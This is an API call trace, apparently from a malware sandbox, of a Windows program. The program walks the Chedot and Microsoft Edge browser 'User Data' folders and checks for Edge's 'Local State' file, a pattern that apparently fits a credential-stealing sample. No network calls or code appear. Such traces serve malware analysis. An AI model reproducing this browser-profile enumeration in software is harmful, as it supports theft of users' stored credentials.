[0052.863] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.863] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.863] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.863] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.863] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.864] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.864] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.864] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.864] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.864] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.864] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.864] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.864] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.864] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x181904 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0
[0052.864] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local"
[0052.864] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Microsoft\\Edge\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\"
[0052.864] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\"
[0052.864] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\"
[0052.864] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\Local State"
[0052.864] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x67d910
[0052.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d910, cbMultiByte=74, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74
[0052.864] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x94) returned 0x67d968
[0052.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d910, cbMultiByte=74, lpWideCharStr=0x67d968, cchWideChar=74 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\Local State") returned 74
[0052.864] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x67da08
[0052.864] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d968 | out: hHeap=0x670000) returned 1
[0052.864] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\local state")) returned 0xffffffff
[0052.865] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da08 | out: hHeap=0x670000) returned 1
[0052.865] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d910 | out: hHeap=0x670000) returned 1
[0052.865] wsprintfA (in: param_1=0x1818cc, param_2="%s\\*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*") returned 63
[0052.865] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*"), lpFindFileData=0x18178c | out: lpFindFileData=0x18178c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
[0052.865] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.865] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.865] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.865] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.865] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.865] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.865] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.865] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.865] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.865] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.866] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.866] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.866] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.866] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.866] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.866] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.866] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.866] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.866] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.866] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.866] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.866] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.866] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.866] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.866] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.866] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.866] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.866] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.867] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.867] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.867] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.867] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.867] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.867] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.867] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
